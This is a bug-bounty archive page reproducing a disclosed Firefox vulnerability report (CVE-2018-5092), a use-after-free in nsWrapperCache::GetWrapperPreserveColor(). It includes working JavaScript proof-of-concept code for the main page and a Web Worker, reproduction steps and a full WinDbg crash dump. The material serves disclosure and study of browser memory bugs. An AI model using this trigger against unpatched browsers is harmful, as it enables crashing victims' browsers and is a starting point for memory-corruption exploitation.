Skip to content
Memory corruption Disclosed report Advanced CVE-2018-5092

Web Workers - Use After Free in nsWrapperCache::GetWrapperPreserveColor()

A use-after-free in Firefox's nsWrapperCache::GetWrapperPreserveColor() can be triggered by a page that uses a Web Worker, BroadcastChannel, and repeated reloads. An attacker could cause the browser to crash by accessing freed memory.

Looben Yang Follow

Originally disclosed on Mozilla

  • Fixed in 36 days
  • Paid in 57 days
  • Disclosed after 36 days

Created attachment 8929156 UAF_GetWrapperPreserveColor_Repro.js

Reproduction test case (full server code in attached file UAF_GetWrapperPreserveColor_Repro.js):

Main Page code:
	<script type="text/javascript">
	var worker = new Worker("worker0.js");
	var bc0 = new BroadcastChannel("test_channel");
	setTimeout(function(){
	try{ bc0.postMessage("n82z8laAh2f004");}catch(e){}
	}, 10);
	 setTimeout(function(){location.reload();},300); 
	</script>

Worker code:
	onerror  = function (e) {fetch("./fetchedfile0.html", {signal:abortSig0}).then(function(res) {res.text().then(function(txt) {}).catch(function(error) {});}).catch(function(error) {});
	 };
	var abortCtl0 = new AbortController();
	var abortSig0 = abortCtl0.signal;
	var bc0 = new BroadcastChannel("test_channel");
	setInterval(function(){
	try{ bc0.postMessage("");}catch(e){}
	 xmlReq0.setRequestHeader("X-Custom-Header", "");
	try{ close();} catch(e){}
	}, 32);
	var xmlReq0 = new XMLHttpRequest();

Steps to reproduce: 1. Run server side script UAF_GetWrapperPreserveColor_Repro.js with Node.js (node UAF_GetWrapperPreserveColor_Repro.js). 2. Enter http://localhost:12345 in Firefox browser. 3. Firefox crashes in nsWrapperCache::GetWrapperPreserveColor() by accessing freed memory:

	(3120.42b0): Access violation - code c0000005 (!!! second chance !!!)
	eax=4f4f4f4f ebx=12dba798 ecx=00598154 edx=2422d060 esi=00598154 edi=0056a2a4
	eip=1029c3d0 esp=008bea34 ebp=008bea3c iopl=0         nv up ei pl nz na po nc
	cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
	xul!JS::shadow::Zone::isGCSweepingOrCompacting+0x2 [inlined in xul!nsWrapperCache::GetWrapperPreserveColor+0x2c]:
	1029c3d0 8a400c          mov     al,byte ptr [eax+0Ch]      ds:002b:4f4f4f5b=??

Firefox version: 59.0a1 (2017-11-16) (32-bit) OS: Windows 10

Stack trace:

(3120.42b0): Access violation - code c0000005 (!!! second chance !!!)
eax=4f4f4f4f ebx=12dba798 ecx=00598154 edx=2422d060 esi=00598154 edi=0056a2a4
eip=1029c3d0 esp=008bea34 ebp=008bea3c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
xul!JS::shadow::Zone::isGCSweepingOrCompacting+0x2 [inlined in xul!nsWrapperCache::GetWrapperPreserveColor+0x2c]:
1029c3d0 8a400c          mov     al,byte ptr [eax+0Ch]      ds:002b:4f4f4f5b=??
2:024> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

FAULTING_IP: 
xul!nsWrapperCache::GetWrapperPreserveColor+2c [z:\build\build\src\dom\base\nswrappercacheinlines.h @ 18]
1029c3d0 8a400c          mov     al,byte ptr [eax+0Ch]

EXCEPTION_RECORD:  (.exr -1)
ExceptionAddress: 1029c3d0 (xul!JS::shadow::Zone::isGCSweepingOrCompacting+0x00000002)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 4f4f4f5b
Attempt to read from address 4f4f4f5b

FAULTING_THREAD:  00001020

DEFAULT_BUCKET_ID:  INVALID_POINTER_READ

PROCESS_NAME:  firefox.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  4f4f4f5b

READ_ADDRESS:  4f4f4f5b 

FOLLOWUP_IP: 
xul!nsWrapperCache::GetWrapperPreserveColor+2c [z:\build\build\src\dom\base\nswrappercacheinlines.h @ 18]
1029c3d0 8a400c          mov     al,byte ptr [eax+0Ch]

BUGCHECK_STR:  INVALID_POINTER_READ

NTGLOBALFLAG:  400

APPLICATION_VERIFIER_FLAGS:  0

APP:  firefox.exe

ANALYSIS_VERSION: 10.0.10240.9 x86fre

LAST_CONTROL_TRANSFER:  from 104a6319 to 1029c3d0

STACK_TEXT:  
008bea3c 104a6319 11574d73 0056a2a4 008beaf8 xul!nsWrapperCache::GetWrapperPreserveColor+0x2c
008bea40 11574d73 0056a2a4 008beaf8 12dba798 xul!nsWrapperCache::HasKnownLiveWrapper+0x5
008bea54 10b27c3e 12dba798 00598150 00000000 xul!mozilla::DOMEventTargetHelper::cycleCollection::CanSkipReal+0x11
008bea78 10b247a5 005f4224 12dba798 12a722a0 xul!RemoveSkippableVisitor::Visit+0x9b
008beae4 10b27409 008beaf8 008bebb0 005f4190 xul!nsPurpleBuffer::VisitEntries<RemoveSkippableVisitor>+0xdc
008beb1c 10b262a6 005f4190 008bebb0 00000000 xul!nsPurpleBuffer::RemoveSkippable+0x44
008beb54 10b27f1d 008bebb0 00000000 008bec01 xul!nsCycleCollector::ForgetSkippable+0x6b
008beb7c 111110e6 008bec01 008bec48 008bec94 xul!nsCycleCollector_forgetSkippable+0x46
008bec28 1110f09e 00000000 00000000 00000000 xul!FireForgetSkippable+0xab
008bec74 104d805f 00000000 00000000 00000000 xul!CCRunnerFired+0x1d6
008bec9c 104d6bba 008becc0 1f037fe8 05cdf3a0 xul!std::_Func_impl_no_alloc<bool (__cdecl*)(mozilla::TimeStamp),bool,mozilla::TimeStamp>::_Do_call+0x17
008becf0 104d6b4b 05cdf3a0 1f037fbc 008bede4 xul!mozilla::IdleTaskRunner::Run+0x62
008bed00 104837a6 005bb9d0 05cdf3a0 12db9e50 xul!mozilla::TimedOut+0x17
008bede4 1048367d 00000001 008bf3c0 05cde3c0 xul!nsTimerImpl::Fire+0x11f
008bee1c 10b3d4da 1f863124 008bf3c0 00537c10 xul!nsTimerEvent::Run+0x37
008bee5c 101254ba 05cde3c0 00501200 005011f0 xul!mozilla::SchedulerGroup::Runnable::Run+0x4f
008bf3c8 10254d2a 00537c10 00000000 008bf3f3 xul!nsThread::ProcessNextEvent+0x294
008bf3f4 10ce59ab 008bf570 008bf570 00503040 xul!mozilla::ipc::MessagePump::Run+0x75
008bf410 104d115d 008bf570 a33ff06a 05b81f70 xul!mozilla::ipc::MessagePumpForChildProcess::Run+0x58
008bf448 104d111d 00537c10 00000002 00503000 xul!MessageLoop::RunHandler+0x1f
008bf468 1066508c 05b81f70 008bf570 008bf488 xul!MessageLoop::Run+0x19
008bf478 10664e18 05b81f70 05b81f70 008bf4a0 xul!nsBaseAppShell::Run+0x34
008bf488 12348b3b 05b81f70 008bf570 005011f0 xul!nsAppShell::Run+0x26
008bf4a0 10ce5969 008bf570 005011f0 008bf4e8 xul!XRE_RunAppShell+0x30
008bf4b0 104d115d 008bf570 a33ff0ca 00000013 xul!mozilla::ipc::MessagePumpForChildProcess::Run+0x16
008bf4e8 104d111d 00519800 00000001 125ad300 xul!MessageLoop::RunHandler+0x1f
008bf508 123489c4 005060f0 00000016 00503040 xul!MessageLoop::Run+0x19
008bf62c 1234b796 008bf658 008bf660 009295cf xul!XRE_InitChildProcess+0x4bd
008bf638 009295cf 00000016 00503040 008bf658 xul!mozilla::BootstrapImpl::XRE_InitChildProcess+0x11
008bf660 009264d8 00503040 00182970 74bd9304 firefox!content_process_main+0x74
008bf9b8 009251f9 00000017 ffc7f930 00183478 firefox!wmain+0x5478
008bfa00 76898744 00a0c000 76898720 c740e5a1 firefox!__scrt_common_main_seh+0xf8
008bfa14 770b582d 00a0c000 c6c4fbfd 00000000 KERNEL32!BaseThreadInitThunk+0x24
008bfa5c 770b57fd ffffffff 770d6374 00000000 ntdll!__RtlUserThreadStart+0x2f
008bfa6c 00000000 0092526f 00a0c000 00000000 ntdll!_RtlUserThreadStart+0x1b

FAULTING_SOURCE_LINE:  z:\build\build\src\dom\base\nswrappercacheinlines.h

FAULTING_SOURCE_FILE:  z:\build\build\src\dom\base\nswrappercacheinlines.h

FAULTING_SOURCE_LINE_NUMBER:  18

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  xul!nsWrapperCache::GetWrapperPreserveColor+2c

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: xul

IMAGE_NAME:  xul.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  5a0d7710

STACK_COMMAND:  ~24s ; kb

BUCKET_ID:  INVALID_POINTER_READ_xul!nsWrapperCache::GetWrapperPreserveColor+2c

PRIMARY_PROBLEM_CLASS:  INVALID_POINTER_READ_xul!nsWrapperCache::GetWrapperPreserveColor+2c

FAILURE_PROBLEM_CLASS:  INVALID_POINTER_READ

FAILURE_EXCEPTION_CODE:  c0000005

FAILURE_IMAGE_NAME:  xul.dll

FAILURE_FUNCTION_NAME:  nsWrapperCache::GetWrapperPreserveColor

FAILURE_SYMBOL_NAME:  xul.dll!nsWrapperCache::GetWrapperPreserveColor

FAILURE_BUCKET_ID:  INVALID_POINTER_READ_c0000005_xul.dll!nsWrapperCache::GetWrapperPreserveColor

ANALYSIS_SOURCE:  UM

FAILURE_ID_HASH_STRING:  um:invalid_pointer_read_c0000005_xul.dll!nswrappercache::getwrapperpreservecolor

FAILURE_ID_HASH:  {2ed7a18c-a2cc-a85d-619a-216c25b2cb62}

Followup:     MachineOwner
---------

The original report as published on Mozilla's Bugzilla, by Looben Yang. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

The browser process crashes due to an invalid pointer read, which could potentially be exploited for code execution, though the report only demonstrates a crash.

What the attacker needed

Victim visits a malicious page; Firefox 59.0a1 (32-bit) on Windows 10

How it was found

  1. Run the provided Node.js server script.
  2. Open the local server URL in Firefox.
  3. Observe Firefox crashing in nsWrapperCache::GetWrapperPreserveColor().

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A use-after-free is a memory bug where a program keeps using a piece of memory after it has been freed, which can lead to a crash or worse. Here, a specially crafted web page makes Firefox's internal object cache access memory that has already been released, causing the browser to crash.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Looben Yang

View all

50 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.